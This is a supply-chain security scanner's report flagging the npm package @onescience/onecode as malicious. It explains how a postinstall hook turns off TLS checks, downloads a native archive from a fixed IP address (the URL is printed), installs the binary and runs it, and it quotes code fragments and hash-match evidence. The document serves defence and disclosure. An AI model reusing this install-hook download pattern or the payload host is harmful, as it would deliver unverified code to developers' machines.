Loading npm security reports…

@onescience/onecode@1.14.50-202609041106: Malicious npm security | LPM Firewall

registry / @onescience/onecode / 1.14.50-202609041106

@onescience/onecode@1.14.50-202609041106

OneScience AI coding agent for the terminal.

AI Security Review

scanned 5h ago · by lpm-firewall-ai

npm installation downloads an unverified native payload from a fixed IP address and installs it. The package launcher executes that payload.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Installing the package runs postinstall; invoking onecode runs the installed binary.

Impact

A network attacker or the remote host can supply native code that is installed into the consumer dependency tree and later executed.

Mechanism

TLS-bypassed remote native archive download, extraction, and binary launch.

Attack narrative

On npm installation, postinstall calls the bootstrap. The bootstrap constructs a URL under a fixed IP address, disables TLS certificate validation, downloads a tar archive, extracts it with tar, moves it into node_modules, and marks its binary executable. The package then links that binary into bin/.onecode, and the CLI launcher executes the resolved binary. This creates an automatic remote native-code delivery path without integrity verification.

Rationale

This package has an automatic install-time chain that retrieves and installs an opaque native executable from a fixed endpoint while disabling TLS verification. The launcher executes the delivered binary, so the behavior is a concrete install-hook payload delivery risk.

Evidence

package.jsonpostinstall.mjsplatform-bootstrap.mjsbin/onecodenode_modules/onecode-linux-x64bin/.onecode.platform-version.platform-bootstrap-work

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node ./postinstall.mjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10scripts.postinstall = node ./postinstall.mjs Install-time code downloads an unverified remote native archive, stages it locally, activates an executable path, and exposes it to process execution. L10: import os from "os" L11: import https from "https" L12: import { fileURLToPath } from "url" ... L15: const product = "onecode" L16: const DEFAULT_TGZ_BASE = "https://218.90.133.98:4443/onecode_tgz" L17: ... L78: const binaryName = detectPlatformAndArch().platform === "windows" ? `${product}.exe` : product L79: const binaryPath = path.join(rootDir, "node_modules", packageName, "bin", binaryName) L80: if (!fs.existsSync(binaryPath)) return null L81: return { binaryPath, binaryName, packageName } L82: } ... L99: return new Promise((resolve, reject) => {

High

Unverified Remote Native Payload Install

Install-time source downloads a native archive from a fixed external host without transport verification, extracts it, and installs an executable payload.

package.jsonView on unpkg · L10

7"bin": { "onecode": "./bin/onecode" }, "scripts": { "postinstall": "node ./postinstall.mjs" }

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs the bootstrap during npm installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node ./postinstall.mjs

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

bin/onecodeView file

•matchType = normalized_sha256 matchedPackage = @onescience/onecode@1.14.50-202608311810 matchedPath = bin/onecode matchedIdentity = npm:QG9uZXNjaWVuY2Uvb25lY29kZQ:1.14.50-202608311810 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/onecodeView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 96df80412fc42a9f signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @onescience/onecode@1.14.50-202608311810 matchedPath = bin/onecode matchedIdentity = npm:QG9uZXNjaWVuY2Uvb25lY29kZQ:1.14.50-202608311810 similarity = 1.000 shingleOverlap = 3 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/onecodeView on unpkg

platform-bootstrap.mjsView file

•matchType = normalized_sha256 matchedPackage = @onescience/onecode@1.14.50-202608311810 matchedPath = platform-bootstrap.mjs matchedIdentity = npm:QG9uZXNjaWVuY2Uvb25lY29kZQ:1.14.50-202608311810 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

platform-bootstrap.mjsView on unpkg

Source & flagged code

7 flagged

package.jsonView file

Lines 1-13json

1{

2 "name": "@onescience/onecode",

3 "version": "1.14.50-202609041106",

4 "private": false,

5 "license": "MIT",

6 "description": "OneScience AI coding agent for the terminal.",

7 "bin": {

8 "onecode": "./bin/onecode"

9 },

10 "scripts": {

11 "postinstall": "node ./postinstall.mjs"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L11

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L11

12 }

High

Unverified Remote Native Payload Install

Install-time source downloads a native archive from a fixed external host without transport verification, extracts it, and installs an executable payload.

package.jsonView on unpkg · L10

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs the bootstrap during npm installation.

package.jsonView on unpkg · L7

13}

bin/onecodeView file

•matchType = normalized_sha256 matchedPackage = @onescience/onecode@1.14.50-202608311810 matchedPath = bin/onecode matchedIdentity = npm:QG9uZXNjaWVuY2Uvb25lY29kZQ:1.14.50-202608311810 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/onecodeView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 96df80412fc42a9f signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @onescience/onecode@1.14.50-202608311810 matchedPath = bin/onecode matchedIdentity = npm:QG9uZXNjaWVuY2Uvb25lY29kZQ:1.14.50-202608311810 similarity = 1.000 shingleOverlap = 3 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/onecodeView on unpkg

platform-bootstrap.mjsView file

•matchType = normalized_sha256 matchedPackage = @onescience/onecode@1.14.50-202608311810 matchedPath = platform-bootstrap.mjs matchedIdentity = npm:QG9uZXNjaWVuY2Uvb25lY29kZQ:1.14.50-202608311810 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

platform-bootstrap.mjsView on unpkg